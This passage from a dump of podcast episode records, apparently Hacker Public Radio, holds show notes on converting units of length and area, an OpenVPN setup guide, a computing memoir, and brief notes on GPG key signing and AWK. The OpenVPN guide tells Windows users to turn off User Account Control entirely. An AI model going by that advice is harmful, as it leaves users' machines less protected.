of\n\t    the fraction in the next to last term, leaving only \"feet\".\n\n  Why people hate units and conversion problems:\n  https://www.regentsprep.org/regents/math/algebra/am2/leseng.htm\n\n  Comment: The \"algebraic\" approach suggested here is ugly, ad hoc in\n    nature, and unnecessarily complicated.  Forget about setting up\n    equations and going through formal operations to solve them.\n    \n    Choose your conversion factors so that the units work out properly\n    as a straight multiplication problem with cancellation of all the\n    units you don't want.  You may have to \"divide\" numbers, but you\n    can use your calculator for working through the numbers.\n    \n  Cranky Summary: You should not have to solve equations to convert\n    between units. Phooey on anyone who says otherwise. :-)\n \n\nSegment 2: Conversions using compound conversion factors.\n\n1. Suppose I want to find the number of inches in a furlong, or the \n   number of acres (or hectares) in a square mile?\n   \n   - My almanac doesn't carry these conversion factors, so I start with \n       what I do have and work my way through it.\n       \n                                       4 rods    16.5 ft    12 in\n   1 furlong = 10 chains = 10 chains * ------- * ------- * -------\n                                       1 chain    1 rod      1 ft\n\t\n\t     = 10 * 4 * 16.5 * 12 inches = ... = 7920 inches \n\n\n2. For acres in a square mile (1 mi^2), we have a bit more to do.\n\n     Abbreviations used: miles = mi, furlong = fur, chain = ch\n     \n     Area means that we are dealing in two dimensions, so we have to \n        convert the lengths in each dimension.  An acre is already a \n        measure of area, so we're good.\n\t\n                       1 acre    10 ch    8 fur   10 ch   8 fur\n   1 sq mi = 1 mi^2 * -------- * ------ * ----- * ----- * -----\n                       10 ch^2   1 fur    1 mi    1 fur   1 mi\n\t\t      \n\t   = (1 mi * 1 mi) * 1 acre * 10 ch * 10 ch   8 fur * 8 fur\n\t                              ------------- * -------------\n\t\t\t\t\t10 ch * ch     1 mi * 1 mi\n     \n   Units cancel, leaving this:\n   \n   1 sq mi = 1 acre * (100/10) * (8 * 8) = 10 * 64 acres = 640 acres\n  \n   \nNext time:  \"Hey!  Ready to try metric?\"\n\n
      ","hostid":229,"series":72,"explicit":0,"license":"CC-BY-SA","tags":"mathematics,units,distance,area","version":0,"downloads":1402,"valid":1}, {"id":1498,"date":"2014-04-30","title":"Personal OpenVPN","duration":2295,"summary":"John Duarte talks about setting up OpenVPN","notes":"

      Personal OpenVPN

      \n

      \nThis guide will walk you through setting up an OpenVPN server as well as a client.\n

      \n

      OpenVPN Server Setup

      \n

      \nHere is how to install OpenVPN on Centos6. Other RedHat derivatives should be similar.\n

      \n

      \n

      \n    wget https://dl.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm\n    rpm -Uvh epel-release-6-8.noarch.rpm\n    yum install openvpn -y\n
      \n

      \n

      \nHere is how to install OpenVPN on a Debian server. Other Debian derivatives should be similar.\n

      \n

      \n

      \n    apt-get install openvpn\n
      \n

      \n

      \nAfter the server is installed, the server certificate authority and keys must be generated.\nThis will be followed by the client keys, and then the server configuration file.\n

      \n

      \nCopy the easy-rsa scripts into /etc/openvpn\n

      \n

      \n

      \n    cp -rf /usr/share/doc/openvpn/examples/easy-rsa/2.0/* /etc/openvpn/easy-rsa  # on Debian\n
      \n
      \n    cp -rf /usr/share/openvpn/easy-rsa/2.0/* /etc/openvpn/easy-rsa  # on Centos6\n
      \n

      \n

      \nSet Environmental variables\n

      \n

      \n

      \n    cd /etc/openvpn/easy-rsa\n    vim vars\n
      \n

      \n

      \nChange the following variables to meet your needs. These are used for your\nconvenience. They will be used as the defaults during the interactive key\ngeneration session to set the keys attributes.\n

      \n

      \n

      \n    export KEY_COUNTRY=\"US\"\n    export KEY_PROVINCE=\"CA\"\n    export KEY_CITY=\"SanFrancisco\"\n    export KEY_ORG=\"Fort-Funston\"\n    export KEY_EMAIL=\"me@myhost.mydomain\"\n
      \n

      \n

      \nSource the variables to the current shell\n

      \n

      \n . ./vars\n

      \n

      \nCreate certificate authority\n

      \n

      \n

      \n    ./clean-all\n    ./build-ca\n    ./build-dh\n
      \n

      \n

      \nCreate keys for the server and clients\n

      \n

      \n

      \n    ./build-key-server server\n    ./build-key client1\n    ./build-key client2\n
      \n

      \n

      \nSetup the server configuration file\n

      \n

      \n

      \n  cd /etc/openvpn\n  gunzip /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz  # on Debian\n  vim /etc/openvpn/server.conf\n
      \n

      \n

      \nServer settings\n

      \n

      \n

      \n    port 1194\n    proto udp\n    dev tun\n    ca     /etc/openvpn/easy-rsa/keys/ca.crt\n    cert   /etc/openvpn/easy-rsa/keys/server.crt\n    key    /etc/openvpn/easy-rsa/keys/server.key\n    dh     /etc/openvpn/easy-rsa/keys/dh2048.pem\n    server 10.10.42.0 255.255.255.0\n    ifconfig-pool-persist ipp.txt\n    client-config-dir ccd\n    route 10.10.42.0 255.255.255.0\n    client-to-client\n    keepalive 10 120\n    cipher AES-256-CBC   # AES\n    comp-lzo\n    user nobody\n    group nogroup\n    persist-key\n    persist-tun\n    status openvpn-status.log\n    verb 3\n
      \n

      \n

      \nRestart VPN Service\n

      \n

      \n

      \n    service openvpn restart\n
      \n

      \n

      \nIf the service fails to start, try starting openVPN manually.\nThe resulting errors will allow you to see what item in the\nconfiguration file is incorrect.\n

      \n

      \n

      \n    openvpen server.conf\n
      \n

      \n

      \nOnce you are able to get openVPN to start without error,\nkill it and restart it using the service command above.\nYou can verify that the vpn is successfully running by\nlooking at the configured interfaces using the following\ncommand.\n

      \n

      \n

      \n    ifconfig\n
      \n

      \n

      \nYou should now see an entry like the following:\n

      \n

      \n

      \ntun0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00\n          inet addr:10.10.42.1  P-t-P:10.10.42.2  Mask:255.255.255.255\n          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1\n          RX packets:622255 errors:0 dropped:0 overruns:0 frame:0\n          TX packets:986993 errors:0 dropped:0 overruns:0 carrier:0\n          collisions:0 txqueuelen:100\n          RX bytes:40649523 (38.7 MiB)  TX bytes:1344026670 (1.2 GiB)\n
      \n

      \n

      OpenVPN Client Setup

      \n

      \nThe installation of OpenVPN for linux is the same as described above for\nthe server. For Windows, Download and run the OpenVPN installer from the\nOpenVPN Community Downloads.\n

      \n

      \nNOTE: On Windows, User Account Control (UAC) must be turned\noff in order to allow OpenVPN to execute the necessary network\ncommands to bring up the VPN. Open Start > Control Panel >\nUser Accounts and Family Safety > User Accounts > Change User\nAccount Control Settings. Set to Never Notify, click OK,\nand reboot the machine.\n

      \n

      \nClient Configuration file\n

      \n

      \nFor linux, the client config file would go in `/etc/openvpn` just like\nthe server config. We will name it `client.conf` to clarify that the\ndevice is being configured as an OpenVPN client.\nOn Windows, the keys and client config files go in the\n`C:\\Program Files (x86)\\OpenVPN\\config`. The config file has\nto have an `.ovpn` suffix.\n

      \n

      \n

      \n    client\n    dev tun\n    proto udp\n    remote myvpn.example.org 1194\n    resolv-retry infinite\n    nobind\n    user nobody\n    group nogroup\n    persist-key\n    persist-tun\n    ca     /etc/openvpn/keys/ca.crt\n    # on Windows, the format is:\n    # ca \"C:\\\\Program Files (x86)\\\\OpenVPN\\\\config\\\\ca.crt\"\n    # Windows may also change the file suffix on the crt files to cer.\n    # So, If Windows complains that it cannot find the file,\n    # examine its properties to verify the suffix.\n    # The logs are stored at C:\\\\Program Files (x86)\\\\OpenVPN\\\\log\n    cert   /etc/openvpn/keys/client1.crt\n    key    /etc/openvpn/keys/client1.key\n    ns-cert-type server\n    cipher AES-256-CBC\n    comp-lzo\n    verb 3\n
      \n

      \n

      \nCopy client key and server ca files onto client\n

      \n

      \n

      \n    scp  ca.crt  user@client1:.openvpn/\n    scp  client1.crt  user@client1:.openvpn/\n    scp  client1.key  user@client1:.openvpn/\n
      \n

      \n

      \nOn the server create the ccd directory to assign static addresses to clients.\n

      \n

      \n

      \n    mkdir /etc/openvpn/ccd\n
      \n

      \n

      \nFor each device, add a file with the CN name of the key.\nIn that file, you will indicate the static address to be used and the server IP\nFor linux, the server IP will be the VPN address of your VPN server. On Windows, the VPN client\nwill set up a local TAP interface that must be used as the server IP. See the OpenVPN docs for available\nclient and TAP server IP pairs.\n

      \n

      \nExamples:\n

      \n

      \n

      \n    cat /etc/openvpn/ccd/linux-client\n    ifconfig-push 10.10.42.10 10.10.42.1\n    cat /etc/openvpn/ccd/windows-client\n    ifconfig-push 10.10.42.13 10.10.42.14\n
      \n

      \n\n

      References:

      \n\n\n","hostid":277,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"OpenVPN,Centos6,Debian","version":0,"downloads":1567,"valid":1}, {"id":1499,"date":"2014-05-01","title":"How I Got Into Computers","duration":3597,"summary":"linux, computing, minicomputers, Fortran, COBOL, Pascal, Basic","notes":"
      \nHPR Episode: How I Got Into Computers\n\n1. Got into computers in 1974 in high school.\n - School had a DEC PDP-11/20 minicomputer\n   * Two ASR-33 Teletype terminals, keypunch, line printer, card sorter\n   * Ran older operating system RSTS-11 v4a\n     - Too low-end to run anything more recent.\n     - 16K words of core memory: point-to-point wired \"cores\"\n\n - The system was somewhat rudimentary.  It's idea of a prompt was:\n \n READY\n \n - A Teletype terminal does not have a screen, so the print head \n     was the only \"cursor\" to let you know where you are. \n \nHardware:\nPDP-11/20: Computer Museum \n  https://www.computerhistory.org/revolution/minicomputers/11/366/1946\n  \nPDP-11/20: Retro Technology\n  https://www.retrotechnology.com/pdp11/exhibit/PDP_11_infoage_1.htm\n\nASR Model 33 Teletype with PDP-11 model computers\n  https://www.retrotechnology.com/pdp11/\n  \nOperating System:\nRSTS-11 System Managers Guide\n  https://bitsavers.trailing-edge.com/pdf/dec/pdp11/rsts/V04/DEC-11-ORSMA-B-D_RSTSmgr_73.pdf\n  \nRSTS-11 System Users Guide\n  https://bitsavers.trailing-edge.com/pdf/dec/pdp11/rsts/V06/DEC-11-ORSUA-D-D_RSTS_SystemUserGuide_Jul75.pdf\n\n\n\n2. Learned BASIC-Plus to get anywhere, starting with 1/2-year course\n\nDEC BASIC Plus Language Manual\n  https://bitsavers.trailing-edge.com/pdf/dec/pdp11/rsts/V04/DEC-11-ORBPA-A-D_BASIC-PLUS_LangMan_Oct72.pdf  \n\n * Course was taught by a math teacher who was not an amazing programmer, \n     but he was a great teacher.  He enabled us to get going with BASIC. \n\n * Anticipated pairs programming by working on programs with a friend as\n    \"Chuck and Duck Enterprises\", but we were mainly having fun.\n   - Started by necessity (1 TTY), but we got satisfying results faster\n   - Both of us could write code, but we learned about using\n       complementary strengths to get cool stuff done.\n\nPairs programming:\n  Pairs Programming, from XP\n  https://www.extremeprogramming.org/rules/pair.html\n  \n  Laurie Williams (Her other stuff is good, too)\n  https://collaboration.csc.ncsu.edu/laurie/publications.html\n\n   \n * Small memory --> innovation\n   - ASCII Art \"Poster\" Program: \n     Create banner with block letters on LP based on terminal input.\n   - Developed a mini-language to encode characters, white space, \n       newlines for each supported character.\n   - This was a special-purpose language used to compress data, rather\n       than a cool Domain-Specific Language (DSL).\n   - We just wanted to make cool banners to come off the line printer.\n\nDomain Specific Languages:  Why ours wasn't a DSL\n  Martin Fowler on DSLs\n  https://martinfowler.com/tags/domain%20specific%20language.html\n  \n\n\n3. Did a math major in college, after switching away from Comp. Sci.\n\n * Math had advantages for me\n   - More flexible curriculum \n   - Abstractions of the time were more fun to play with\n \n * I used the University computers on jobs as research assistant, tutor, typist\n   - Used them in course work, too.\n   - Planning my code carefully let me use my excess CPU seconds for fun\n   - Rule of Thumb: 1 hour in library is worth 12 hours at the terminal.\n\n\n4. Branching out in hardware, systems and programming languages\n\n* We learned FORTRAN in the programming courses\n   - I resisted the temptation to \"think in FORTRAN\" \n   - More general approach felt slower for getting individual jobs done.\n   - Working from first principles seemed more reliable\n   - Often gave me better solutions than following my nose in FORTRAN\n\n   Quirky FORTRAN Preprocessor for Structured Programming (SF/K)\n   https://www.worldcat.org/title/fundamentals-of-structured-programming-using-fortran-with-sfk-and-watfiv-s/oclc/301094243\n\n * Later, I picked up Pascal and TOPS-20 Assembly Language\n   \n   Pascal: From the source\n   Pascal User Manual and Report (Springer)  Trade paperback (1975)\n   by Kathleen Jensen, K Jensen, N Wirth\n\n   Trade paperback, Springer, 1975.  English  2nd ed. 167 pages\n   ISBN: 0387901442      ISBN-13: 9780387901442\n \n \n\n5. Gear and software rundown:\n\n * Xerox/Honeywell Sigma Six (descended from Scientific Data Systems)  \n    (1977 to 1979)\n     https://en.wikipedia.org/wiki/CP-V_operating_system\n     https://en.wikipedia.org/wiki/SDS_Sigma_series\n\n * DEC System 2060 (relabeled PDP-10) running TOPS-20 on a 36-bit machine\n    (1979 to 1981)\n     https://bitsavers.trailing-edge.com/pdf/dec/pdp10/TOPS20/DECnet-20/AA-5091B-TM_TOPS-20_DECnet-20_Programmers_Guide_Jan80.pdf\n     https://pdp10.nocrew.org/docs/ad-h391at1.pdf  DECsystem-10 and -20 Processor Ref.\n\n\n6. Summer and Night Job\n * The Duration Caper:\n   Friend fixing a Fortran program to compute bond duration on a large portfolio.\n   - Answers weren't coming out, so he printed out several subtotals in his calculation.\n   - \"Extend the line\" to include the last term in the numerator of one big fraction \"and you'll have it\"\n   \n   Found a typo in the Jack Clark Francis \"bible\" of investments theory\n   - Throwaway question: \"What's this duration stuff, anyway?\"\n   - Question got me hired as a research assistant by Finance department in Business school\n   \n   Investments: Analysis and Management, First Edition Hardcover(1972)\n   by Jack Clark Francis.  McGraw-Hill Book Company\n   ISBN: 0070217858             ISBN-13: 9780070217850\n   \n\n * The \"Sure!  I Know Assembly Language\" Caper\n   Offered a job with Finance, conditional on first assignment.\n   - Take over maintenance of a Fortran program with inline Assembly Language\n   - Original developer was a senior Computer Science major I knew.\n   - Gambled that his code was solid.  And won in the end.\n   \n   Got paid 3 times minimum wage ($7.50/hour versus $2.30) to look up and read research papers.\n   - I'd have done it for free, so this was a sweet gig.\n   \n   \n * Other jobs:\n   - Tutoring math, computer science for food or cash\n   - Programming jobs\n   - Teaching assistant jobs for statistics, finance courses\n   - Security and management of student-run darkroom in Summer months == \"reading\"\n   - Typing papers on a typewriter\n \n      \n7. After college, started working in non-life insurance.\n\n * End user computing in actuarial group was in BASIC-Plus on PDP-11s\n   - Word processing was in DECword or the WPS-8 dedicated machine.\n   - After first year, moved to department-level PDP-11/44\n   - For heavy-duty jobs, we also had timesharing access to VAX-11/780\n   \n * First project was building a database from mainframe data dump\n   - EBCDIC data conversion to ASCII led to my education about signed\n       data fields in COBOL.\n   - I knew hexadecimal math from my assembly language course\n   - I'd seen EBCDIC in dumps while writing FORTRAN on CP-V\n   \n    Data dumps from 9-track to PDP-11/70 led to Overpunch field conversion\n      https://www.3480-3590-data-conversion.com/article-signed-fields.html\n\n * Note: When you have curly braces at the end of a signed number field, \n     the brace opens in the direction of the positive or negative end of\n     the number line.\n   - Open brace ({): Value ends in zero and has positive sign.  Zero < X\n   - Closing brace (}): Value ends in zero and is negative. Zero > X\n\n * If field ends in A, the value's final digit is 1, and it's positive\n   - B means positive value that ends with a 2, C is 3, ... I is 9.\n   - So \"00003757D\" is $   +375.74.\n   \n * If the field ends in J-R, the value is negative and ends in 1-9.\n   - So \"00000255R\" is the value $   -25.59.\n   \n\n\n8. Irony: I was asked to help troubleshoot a program that was crashing\n     as it was automatically converting the rates and rules manuals away\n     from Unix with 'nroff' to DECword on RSTS in 1982.\n  - This may have delayed my adoption of Linux\n  - Used Unix (Ultrix) in early 1990s to preprocess data for use in OS/2\n  - Had to move to Win 95 and Win NT for work\n\n\n****** Skipping the Dark Period of DOS/Windows and OS/2 Computing ******\n  - Turbo Pascal, APL, PICK, QuickBasic, Visual Basic, Excel with VBA\n  - Learned SQL dialects, COM, .Net, and scripting languages\n\nMore from Dark Period: Less Slackware\n\n\n8. Gave Linux a try with Quantian Live CD in 2006 (Thanks, Dirk!)\n   https://dirk.eddelbuettel.com/quantian.html \n   https://dirk.eddelbuettel.com/quantian-tmp.pdf (PDF description)\n   https://dirk.eddelbuettel.com/quantian/quantian_0.7.9.2.quantian.packages.txt\n   \n * Used Live CDs to try Debian packages, repair PCs, and do math stuff\n  - Liked Gnumeric, Python, R, and educational software\n  - Wiped my Vista laptop in April, 2008 to install Ubuntu full-time\n  - Music, checking, and photo editing kept me from switching other PCs\n\n9. Tried Ubuntu \"Feisty\" using WUBI on Windows XP on Racing Cow\n * Trouble-free install, mainly because I was on an Ethernet cable\n   - Tried out Linux software in a risk-free environment to find what I liked\n   - GNOME 2 was close enough to Windows and Mac, so no problems with UI\n   - Command line was similar to Ultrix and even to DOS, so not so bad.\n\n * WUBI let me try Ubuntu without having to dual boot or use Live CDs\n   - Easy to install and remove, like a Windows application\n   - No messy virtualization setup\n   - Linux could see and use files on my Windows partition seamlessly\n\n * Ubuntu \"Hardy\" on \"Titanic\" (retired Dell Latitude D820 laptop)\n   - Install was easy, except for wireless networking\n   - Had to use NDISWRAPPER at first, but everything worked.\n\n * Switched my main home desktop (Racing Cow) in April, 2011\n  - Just in time for Unity, which would not run on my gear.\n  - Gnome 2 ran well on my computers, and they choked on Unity and Gnome 3.\n  - Taste and older machines led me to go distro hopping.\n  - Dan Lynch of Linux Outlaws pointed me to CrunchBang.  Try it.\n      https://crunchbang.org\n\n\n9. Other distros I've tried:\n\n * Gentoo (June 2011):  https://www.gentoo.org \n \n   Note: It is not as super-hard as you've been told.\n   \n   Installed it in three 4-hour sessions after reading docs on train\n    - Compiled kernel on first shot\n    - Added modules for devices I liked, and that recompile worked\n    - Got X working enough to use a browser and a window manager\n    - Gave up only because I had not decided on my workflows\n    - Was afraid to mix GTK and QT or KDE packages at that stage\n    - Unsure about reversing wrong choices \n    - Unfamiliar toolkits scared me, although I had no real problems\n  \n   Conclusion: My problem with Gentoo?  Between keyboard and chair. \n\n\n * Slackware (several times):  https://www.slackware.org\n   \n   Always installs on first try for me, with huge kernel\n    - Knowing what to do after initial install was the problem here, too\n    - To remove fear, I updated my 13.37 with all patches by hand\n    - Manual updates after install took 2 hours, including learning pkgtool\n    - Using generic or custom kernels is only hard when I'm stupid\n      * Be sure the drivers to operate your boot disk are compiled in\n   \n   Conclusion: After hating older versions, it's KDE 4 for the win!\n   \n     \n * SlackerMedia book:  https://slackermedia.info\n   \n   Helpful tips on designing workstation around workflows\n    - Uses SlackBuilds and SlackBuild queues for repeatable configuration\n    - Gave me idea for groups working on math software-in-progress\n    - Slackware package format is simple, easy to grasp (for binaries)\n    - SlackBuilds: close to a universal format for sharing program source\n   \n   Why Slackware?\n    - There are SlackBuild scripts for Sage and other packages I like\n    - Slackware comes with support for TeX for math writing\n    - SlackerMedia has queues for audio, video, web editing, publishing\n   \n   Conclusion: SlackerMath is born.  Still needs to be fleshed out.\n    - Slackware distribution-from-scratch based on SlackBuilds\n    - Set it up as you wish using your own custom queues\n    - Suggested packages would include Sage, R, Octave, GSL, QuantLib,\n        Grass GIS, kile, gretl, Tux Racer, euler, gnucap, and others\n    - Languages: Python with NumPy/SciPy/matplotlib and bindings to \n        other languages/libraries, Scheme, Perl, Lua, C and Fortran\n        \n * Also tried the following, but didn't stay with them\n   - Slax (www.slax.org)\n   - \n11. Right now: \n  * Five of our six former Windows computers have switched to Linux.\n    - \"Surfing Cow\" decommissioned with CrunchBang as its final O/S.\n    - \"Racing Cow\" still going strong with CrunchBang\n    - Sony FE laptop \"White Cloud\" running Ubuntu 13.04\n    - Derringer is my audio editing machine, because it's under 3 lbs.\n    - Laptop \"Titanic\" died after a baptism in red wine\n      Back to life with new keyboard, disk, and name -- \"Lazarus\"\n      \n  * Number six (\"Dawn Pixie\") about to go to a Linux \"granny\" distro\n    - Linux Mint or PCLinuxOS (KDE version)\n    - Need a \"granny\" distros for generic use by all comers\n\n
      ","hostid":229,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"DEC,PDP-11/20,ASR-33,RSTS-11,BASIC,FORTRAN,Pascal,VAX-11/780,Ultrix,Linux,Ubuntu,Gentoo,Slackware","version":0,"downloads":1491,"valid":1}, {"id":1500,"date":"2014-05-02","title":"Key Signing","duration":1733,"summary":"Ahuka and Tony Bemus discuss key signing and how you build a web of trust.","notes":"

      \nOne of the issues in using public key encryption is ensuring you know who you are communicating with, and that you have correctly matched the owner to the key. Otherwise, your communication could be intercepted and decrypted by a third-party. The way we solve this problem is with key signing, which is often done at key signing parties. We discuss all this with Tony Bemus of the Sunday Morning Linux Review. \n

      \n\n

      Links:

      \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"public key encryption,GPG,keyring,key signing,Mailvelope","version":0,"downloads":1651,"valid":1}, {"id":1501,"date":"2014-05-05","title":"AWK","duration":1165,"summary":"A cursory introduction to the AWK programming language","notes":"

      \nFirst of all, a correction. In the podcast, I mistakenly refer to one of the\ncoauthors of the language as Kevin Weinberger. My humblest apologies to Mr.\nWeinberger, whose actual first name is Peter. I also neglected to mention one\nof AWK's most interesting features: its automatic field splitting. I hope to\nsubmit a followup podcast soon in order to rectify these two glaring mistakes.\n

      \n

      \nAWK is a loosely typed interpreted programming language. Many useful functions\nin a UNIX programming environment, such as reading files, looping over input,\nmatching regular expressions, and splitting strings into fields have been\nabstracted and are presented to the programmer as native parts of the language.\nThis makes AWK ideal for text processing.\n

      \n

      \nThe basic structure of an AWK program is a list of rules. Each rule is made up\nof an optional pattern and an optional action. If the pattern is matched, the\ncorresponding action is run. When AWK starts up, it loads the supplied program\ntext, runs any rules with the special BEGIN pattern, then in turn, opens each\nfile supplied on the command line (or stdin if no files or a - are specified).\nEach file is split into records based on the value in the RS (record separator)\nvariable. AWK then loops through each record, splits it into fields based on\nthe value in the FS (field separator) variable, and loops through each rule in\nthe program. An empty pattern matches all records, so actions with no pattern\nrun for every record. An empty action causes the current record to be printed.\n

      \n

      \nThe operator most unique to AWK is the $ (field access) operator. When followed\nby an integer literal or variable holding an integer value, it returns the\ncorresponding field in the current record (counting from 1 up to NF, the number\nof fields special variable). $0 returns the entire record. If the supplied\ninteger is greater than NF, it is treated as an uninitialized variable, which,\nin AWK, is treated dually as either the empty string, or the number 0,\ndepending on the context in which it is referenced.\n

      \n

      \nThe most common type of pattern used in AWK (excepting, perhaps, the empty\npattern) is a regular expression literal. It consists of a regular expression\nenclosed in forward slashes. This syntax is inherited from ed, the standard\ntext editor, and has been passed down all the way to javascript. In AWK, a\nregular expression literal, alone as a pattern, is shorthand for $0 ~ /regex/,\nwhere ~ is the regular expression match operator (the string $0, current\nrecord, matches the supplied regular expression).\n

      \n\n","hostid":257,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"AWK,text processing,rule,pattern,action,regular expression","version":0,"downloads":1513,"valid":1}, {"id":1502,"date":"2014-05-06","title":"Practical Math - Units - Distances and Area, Part 2","duration":1834,"summary":"Charles in NJ continues Practical Math with an episode on units of distance and area","notes":"
      \nHPR Episode: Using and Converting Between Units of Distance\n\nIntro: Last time, we talked in general terms about units, numbers and\nhow they might be useful in practice.  In this episode, we address some\nspecific measurement units that apply to distance and area, and how we\nmight convert from one system to another to better understand both.\n\nEntire point of this episode is this: Carry units in calculations on \n  distances and areas, and you'll have more success in using them in \n  your life.  \n\n\n\nSegment 1:  Review of Distance and Area conversions in the English system\n\n1. Links from last time\n\n   Table of Units: \n      https://www.csgnetwork.com/converttable.html\n\n   To see why the story is tremendously more complicated than my account\n      https://en.wikipedia.com/wiki/Mile\n\n   Fun article on the mile.\n      https://www.sizes.com/units/mile.htm\n   \n   High school student theme on the furlong.\n      https://www.writework.com/essay/history-furlong by silverAlex2000\n\n   Brief dictionary article on the mile, referenced by Dr. Math \n      https://www.unc.edu/~rowlett/units/dictM.html#mile \n      Referred by https://mathforum.org/library/drmath/view/61126.html\n\n   Resource: StackExchange Physics and Maths sections (\"mile\" question)\n      https://physics.stackexchange.com/questions/57785/difference-between-nautical-and-terrestrial-miles\n\n\n2. Converting between units\n   a. Units of distance usually defined as multiples of each other\n      - 1 mile = 5,280 feet            - 1 hand = 4 inches\n      - 1 foot = 12 inches             - 1 yard = 36 inches\n      \n      Skipping ahead to look at the metric system, we now have:\n      - 1 inch = 2.54 centimeters (exact). Regularized in recent years.\n\n   b. This works because there's consensus on Zero distance, so we don't\n         have to adjust for differing origins, as we do with the \n         non-absolute temperature scales like Fahrenheit and Celsius. \n      \n      - We'll get to temperature, non-absolute scales in a later show.\n\n   c. For absolute scales, we can convert from one unit to another using\n         a \"conversion factor\".  That is, we can convert a measurement \n         expressed in one unit to its equivalent in another unit by \n         multiplying or dividing by some number to stretch or compress \n         the original unit to match the target unit.\n\t \n      - Example: I know that 1 foot is 12 inches, so how many inches are\n          there in 10 feet?  How feet are there in 660 inches?\n      \n      - It is clear that a factor of 12 ought to be involved, but how do\n          I know when to multiply or divide by 12 in the conversion?\n      \n      - Wait!  I'm serious.  When you see this problem for the first \n          time, you have to think this through to get it right.  \n        * Without a system in place, you always have to think about it.\n      \n      - Answers in naive setup:\n          (i) 10 feet = (12 * 10) inches = 120 inches\n         (ii) 660 inches = (660 / 12) feet = 55 feet\n\n3. Having a system.  Or units conversion as \"multiplying by One\"\n   \n   a. In each of the solutions I wrote down above, I start with an \n         equation that looks like this: X inches = Y feet.\n\n   b. Inches are not feet, and this way of writing down the calculation \n        does NOT help you figure you how the conversions should work, or\n        whether you should multiply or divide to get the right answers.\n\n   c. Here's a system for creating conversion factors that tell you what\n        to do at each step in the units conversion process.  It is based\n        on the very obvious fact that when I multiply any number by '1',\n        its value remains unchanged.\n\t\n      - Start with one of the identities we wrote down at the beginning.\n\t    In this case, let's use:  12 inches = 1 foot\n\t  \n      - If I divide equals by equals, the results are equal.\n\t    So I can write:\n\t  \n\t                                   12 inches      1 foot\n\t  12 inches = 1 foot implies that  ---------  =  --------- = 1\n\t\t                                 1 foot      12 inches\n      \n      -\tGet the first term by dividing my original identity by (1 foot).\n      - Get the second term by dividing my original identity by (12 in).\n\n\n   d. To make a conversion from feet to inches, I use:\n   \n                           12 in    10 ft \n      10 ft * 1 = 10 ft * ------- = ------ * 12 in = 10 * 12 in = 120 in\n                           1 ft      1 ft\n      \n      - Note: In the fraction (10 ft) / (1 ft), the units \"cancel out\", \n                which leaves a unitless number.\n\t      \n      - Suppose we start with the other form for the conversion factor:\n   \n                               1 ft    10 square feet \n      10 feet * 1 = 10 feet * ------ = -------------- = ???\n                              12 in       12 inches\n      \n      - See?  When I use the form where the units don't cancel each \n          other, I get a resulting equation that is still correct.  It \n          just doesn't make much sense to me as a reader.\n      \n      - This is what you get when you \"divide by 12\" to convert feet to \n          inches, but the difference is that you KNOW something's wrong.  \n      \n      - You do not have to even look at the numbers to know that this \n         could not possibly be the right number of inches in 10 feet.\n\n\nBrilliant Insight #2: When you use unit conversion factors, you help \n  your cause by carrying along both sets of units in the form of a \n  fraction as you go through your calculation.  \n  \n  - If the units on the right-hand side of your final equation don't \n    match the units you want (after everything else cancels out), your \n    numerical answer is almost certainly WRONG.\n  \n  - The implication here?  To convert units of distance, you need to \n       multiply or divide by a \n       \n       conversion factor = (X New_Units) / (Y Old_Units).  \n       \n    When you do this, write the conversion factor in its full fractional\n       form, and carry out all of the multiplications and cancellations.\n  \n  - If you do the conversion this way, and the units match, you only \n       have to check your arithmetic to be sure you've got it right.\n\n  - If the units you want do not match those on the right side of the \n       equal sign, you are solving the wrong problem.  The equation may \n       be correct, but it is not expressed in the units you wanted.\n\n\n 6. Let's use the system to solve the second example:\n  \n                               1 ft       660 in * 1 ft \n      660 in * 1 =  660 in *  -------  = --------------- = 55 feet\n                               12 in        12 in\n \n      Why?  The \"inches\" units cancel out because they appear in both \n        numerator and denominator (top/bottom, upstairs/downstairs) of\n\t    the fraction in the next to last term, leaving only \"feet\".\n\n  Why people hate units and conversion problems:\n  https://www.regentsprep.org/regents/math/algebra/am2/leseng.htm\n\n  Comment: The \"algebraic\" approach suggested here is ugly, ad hoc in\n    nature, and unnecessarily complicated.  Forget about setting up\n    equations and going through formal operations to solve them.\n    \n    Choose your conversion factors so that the units work out properly\n    as a straight multiplication problem with cancellation of all the\n    units you don't want.  You may have to \"divide\" numbers, but you\n    can use your calculator for working through the numbers.\n    \n  Cranky Summary: You should not have to solve equations to convert\n    between units. Phooey on anyone who says otherwise. :-)\n \n\nSegment 2: Conversions using compound conversion factors.\n\n1. Suppose I want to find the number of inches in a furlong, or the \n   number of acres (or hectares) in a square mile?\n   \n   - My almanac doesn't carry these conversion factors, so I start with \n       what I do have and work my way through it.\n       \n                                       4 rods    16.5 ft    12 in\n   1 furlong = 10 chains = 10 chains * ------- * ------- * -------\n                                       1 chain    1 rod      1 ft\n\t\n\t     = 10 * 4 * 16.5 * 12 inches = ... = 7920 inches \n\n\n2. For acres in a square mile (1 mi^2), we have a bit more to do.\n\n     Abbreviations used: miles = mi, furlong = fur, chain = ch\n     \n     Area means that we are dealing in two dimensions, so we have to \n        convert the lengths in each dimension.  An acre is already a \n        measure of area, so we're good.\n\t\n                       1 acre    10 ch    8 fur   10 ch   8 fur\n   1 sq mi = 1 mi^2 * -------- * ------ * ----- * ----- * -----\n                       10 ch^2   1 fur    1 mi    1 fur   1 mi\n\t\t      \n\t   = (1 mi * 1 mi) * 1 acre * 10 ch * 10 ch   8 fur * 8 fur\n\t                              ------------- * -------------\n                                       10 ch * ch     1 mi * 1 mi\n     \n   Units cancel, leaving this:\n   \n   1 sq mi = 1 acre * (100/10) * (8 * 8) = 10 * 64 acres = 640 acres\n  \n   \n\nSegment 3: Hey!  Ready to try metric?\n\n1. Metric system never caught on in the US, although most of English-\n     speaking world has adopted it.  Units conversion is easy in the \n     metric system, because everything is in powers of 10.\n   \n   - But you still need to carry along units in calculations!\n   \n2. Area and distance units in the metric system\n\n   - Basics of distance: Centimeter is easy for us to see, and now the \n       factor to convert centimeters to inches is exact.\n       \n       1 inch = 2.54 centimeters (cm) exactly\n       \n                                    1 inch\n       1 meter = 100 cm = 100 cm * 